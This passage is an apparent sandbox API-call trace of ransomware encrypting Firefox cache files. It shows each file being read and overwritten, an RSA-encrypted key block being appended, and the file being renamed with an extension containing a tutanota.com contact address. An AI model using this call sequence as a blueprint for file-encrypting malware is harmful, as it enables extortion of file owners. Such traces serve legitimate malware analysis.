"c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\152707bf9d0e3d40ee384f6696e826a52171e312.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0287.853] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0287.853] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6910 | out: hHeap=0x570000) returned 1 [0287.853] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee38f0 | out: hHeap=0x570000) returned 1 [0287.853] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee37e8 | out: hHeap=0x570000) returned 1 [0287.853] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2ee2348 [0287.853] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6690 [0287.853] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0287.854] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\150EB071D854D5071A223EEB0639B4597C92FB45", dwFileAttributes=0x80) returned 1 [0287.854] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2ee2240 [0287.854] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0287.854] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee2240 | out: hHeap=0x570000) returned 1 [0287.854] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\150EB071D854D5071A223EEB0639B4597C92FB45" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\150eb071d854d5071a223eeb0639b4597c92fb45"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0287.855] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=2779) returned 1 [0287.855] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xadb) returned 0x3446048 [0287.855] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xadb) returned 0x2f81868 [0287.855] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0xadb, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0xadb, lpOverlapped=0x0) returned 1 [0288.013] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-2779, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0288.013] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f81868*, nNumberOfBytesToWrite=0xadb, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f81868*, lpNumberOfBytesWritten=0x2e3f9b4*=0xadb, lpOverlapped=0x0) returned 1 [0288.013] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3446048 | out: hHeap=0x570000) returned 1 [0288.013] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81868 | out: hHeap=0x570000) returned 1 [0288.013] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xadb [0288.013] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0288.013] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0288.013] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0288.013] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0288.013] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0288.013] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0288.013] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="vyDMkVjQ4o6YGwa/zR+wkni3zxk6THVavi5GzAkJnBYbinX54LXYKZxMctdeZZbJ\nY21QrnMbF/GDincofc0vDP9k8lt4Y3u6V7Okz4HuxCH7t51rX9OL7WPMR3qqX7sc\n3cvswJHsKnf8VZJS9sO2CPvDSncn+P2C5XONZ/k0lntxdLY2glQh4kbBuTg9LAGy\nPXBz+RCeRU6qrZ8rt/U434sgWwyHVoe2XMxB6OD9IDyabr/rDPMxfWBzITQk7Y0Q\nwUHgnPamSLSGRlApWD5HdMqjbIO73op6ZIdGf1O9H67UjcROcrLoFD6jvgQN5vRX\n3TiX0+qKSSD6k0dbgORipA==\n", pcchString=0x2e3f9a8) returned 1 [0288.014] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0288.014] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0288.014] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0288.014] CloseHandle (hObject=0x1b84) returned 1 [0288.014] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0288.014] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\150EB071D854D5071A223EEB0639B4597C92FB45" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\150eb071d854d5071a223eeb0639b4597c92fb45"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\150EB071D854D5071A223EEB0639B4597C92FB45.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\150eb071d854d5071a223eeb0639b4597c92fb45.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0288.016] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0288.016] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6690 | out: hHeap=0x570000) returned 1 [0288.016] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee2348 | out: hHeap=0x570000) returned 1 [0288.016] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee36e0 | out: hHeap=0x570000) returned 1 [0288.016] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2ee3e18 [0288.016] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6910 [0288.016] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0288.016] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\14BF1B21A28D68D02D3CF7A0CA4D66159596ECD1", dwFileAttributes=0x80) returned 1 [0288.017] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2ee2240 [0288.017] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0288.017] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee2240 | out: hHeap=0x570000) returned 1 [0288.017] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\14BF1B21A28D68D02D3CF7A0CA4D66159596ECD1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\14bf1b21a28d68d02d3cf7a0ca4d66159596ecd1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0288.018] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=819) returned 1 [0288.018] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x333) returned 0x5a8108 [0288.018] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x333) returned 0x66e948 [0288.018] ReadFile (in: hFile=0x1b84, lpBuffer=0x5a8108, nNumberOfBytesToRead=0x333, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesRead=0x2e3f9b4*=0x333, lpOverlapped=0x0) returned 1 [0288.174] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-819, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0288.174] WriteFile (in: hFile=0x1b84, lpBuffer=0x66e948*, nNumberOfBytesToWrite=0x333, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesWritten=0x2e3f9b4*=0x333, lpOverlapped=0x0) returned 1 [0288.174] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0288.174] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66e948 | out: hHeap=0x570000) returned 1 [0288.174] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x333 [0288.174] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0288.174] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0288.174] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0288.174] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0288.174] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0288.175] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0288.175] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="6tcX4yUCsOS0cR+5tpaAAnj4FgUmu39xDiGs2YDeSNvooOZK+NAfuKji5qFdHVNB\n7I5HMvT+BLJNRd6hGpWGiaP4cEo8Pz9i1V7/Pv2gjBSSRlvNlbuylw6kVG5eWwH/\n4+Fdnq4oRISqbpupIng5VOsdS15kFAJnPyKQ2cdmKwxCIIfbP/uUJ2ZLlEbrv1lJ\nMLgK1iQfF0ObWqFGNjariDPZB4NLrAqvFZDpjPoHHbm0uaVoN7rrFuvdum2iL8an\nQ2KvA2JuBQTUKRsXO2t/IRwFF1TinHzcCqe+bJiaLd9/RSy6Z+VRPtzxNDwylmu9\ni1uFswQ1L8od7Wvs6tLXBg==\n", pcchString=0x2e3f9a8) returned 1 [0288.175] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0288.175] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0288.175] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0288.175] CloseHandle (hObject=0x1b84) returned 1 [0288.175] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0288.175] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\14BF1B21A28D68D02D3CF7A0CA4D66159596ECD1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\14bf1b21a28d68d02d3cf7a0ca4d66159596ecd1"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\14BF1B21A28D68D02D3CF7A0CA4D66159596ECD1.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\14bf1b21a28d68d02d3cf7a0ca4d66159596ecd1.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0288.177] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0288.177] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6910 | out: hHeap=0x570000) returned 1 [0288.177] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee3e18 | out: hHeap=0x570000) returned 1 [0288.177] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee2b88 | out: hHeap=0x570000) returned 1 [0288.177] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2ee3d10 [0288.177] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6690 [0288.177] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0288.177] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\14BA7A2A080D9B70E5991F61EC521D7B59DB545E", dwFileAttributes=0x80) returned 1 [0288.177] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2ee36e0 [0288.177] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0288.177] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee36e0 | out: hHeap=0x570000) returned 1 [0288.178] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\14BA7A2A080D9B70E5991F61EC521D7B59DB545E" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\14ba7a2a080d9b70e5991f61ec521d7b59db545e"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0288.178] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4409) returned 1 [0288.178] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1139) returned 0x2f81868 [0288.178] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1139) returned 0x3437008 [0288.178] ReadFile (in: hFile=0x1b84, lpBuffer=0x2f81868, nNumberOfBytesToRead=0x1139, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f81868*, lpNumberOfBytesRead=0x2e3f9b4*=0x1139, lpOverlapped=0x0) returned 1 [0288.272] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4409, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0288.272] WriteFile (in: hFile=0x1b84, lpBuffer=0x3437008*, nNumberOfBytesToWrite=0x1139, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3437008*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1139, lpOverlapped=0x0) returned 1 [0288.272] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81868 | out: hHeap=0x570000) returned 1 [0288.272] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3437008 | out: hHeap=0x570000) returned 1 [0288.272] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1139 [0288.272] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0288.273] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0288.273] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0288.273] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0288.273] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0288.273] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0288.273] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="KtN/j+SSGsIErtCRH/w1Tgcjp2xzmh7rL5xKTK8fvCe7H8qBLG0CpF6fM12l4aK5\noooSc6w2vgRd9c7rwHDq610TKTr3Zrdx5oyPCYQ/aHmF+iFK2F/XUmXslsVATcf4\nCKRltneY0OYqIvUUAGpv8yUJCewY8vNJGMuBmBmhZbCMPxDP+qDgM6VpEq1vx9Fl\nuy4pVwQNLl/imHEqMc0a6MTbwmip5tgxDTTZr0mcKuvW6rLmYCGFghSx1ekwZbye\n28XbUW2Tc/BQjGs+lCwulHrK4TN3bUr5vhBZqdP3ZExkkCZ/t9ptepwCxDMyX6MW\nP2GObHQcvJ73KGlELtiqHw==\n", pcchString=0x2e3f9a8) returned 1 [0288.273] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0288.273] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0288.273] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0288.273] CloseHandle (hObject=0x1b84) returned 1 [0288.273] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0288.273] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\14BA7A2A080D9B70E5991F61EC521D7B59DB545E" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\14ba7a2a080d9b70e5991f61ec521d7b59db545e"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\14BA7A2A080D9B70E5991F61EC521D7B59DB545E.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\14ba7a2a080d9b70e5991f61ec521d7b59db545e.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0288.278] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0288.278] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6690 | out: hHeap=0x570000) returned 1 [0288.278] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee3d10 | out: hHeap=0x570000) returned 1 [0288.278] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee2978 | out: hHeap=0x570000) returned 1 [0288.278] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2ee3d10 [0288.278] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee65a0 [0288.278] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0288.278] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\140445A2980512A346F4FF5725C0D44440B68C0A", dwFileAttributes=0x80) returned 1 [0288.279] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2ee36e0 [0288.279] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0288.279] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee36e0 | out: hHeap=0x570000) returned 1 [0288.279] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\140445A2980512A346F4FF5725C0D44440B68C0A" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\140445a2980512a346f4ff5725c0d44440b68c0a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0288.279] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=3965) returned 1 [0288.280] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf7d) returned 0x3446048 [0288.280] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf7d) returned 0x2f81868 [0288.280] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0xf7d, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0xf7d, lpOverlapped=0x0) returned 1 [0288.281] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3965, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0288.281] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f81868*, nNumberOfBytesToWrite=0xf7d, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f81868*, lpNumberOfBytesWritten=0x2e3f9b4*=0xf7d, lpOverlapped=0x0) returned 1 [0288.281] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3446048 | out: hHeap=0x570000) returned 1 [0288.281] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81868 | out: hHeap=0x570000) returned 1 [0288.281] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xf7d [0288.281] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0288.281] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0288.281] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0288.281] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0288.282] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0288.282] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0288.282] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="8igQIA9qLC8UcTboXPz5HuuYXqtAwvbVUCy5AQOw5lAMkf/8L2Y4RUFUAhZrUY6T\ns6rtjf3LZpYRpTpzCBQ3RZcQVPGJapiIhhDhHIof2FnDQz3w4d6ULHzRLlCZP72k\nHFjVuDxFASDM77mhy3Pvy6oue1XW2kf5f9a1HA//n6IN5YIDkOlZaQ46yXx4+2rP\naBOQBDaEJbpJkvNI3z/WDg1gNaGQxyZRrIYq6eRyuwz7V8B7KlmZETMAmugC9Z1W\n0tjLh6togpDTVxufeqXN0D4hkVEj3Vj+XixchSoidQ6FIT+o+Lh3q90jpwm+DSM+\nxhAiIdzfxf0uQsLyOrLrbg==\n", pcchString=0x2e3f9a8) returned 1 [0288.282] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0288.282] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0288.282] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | 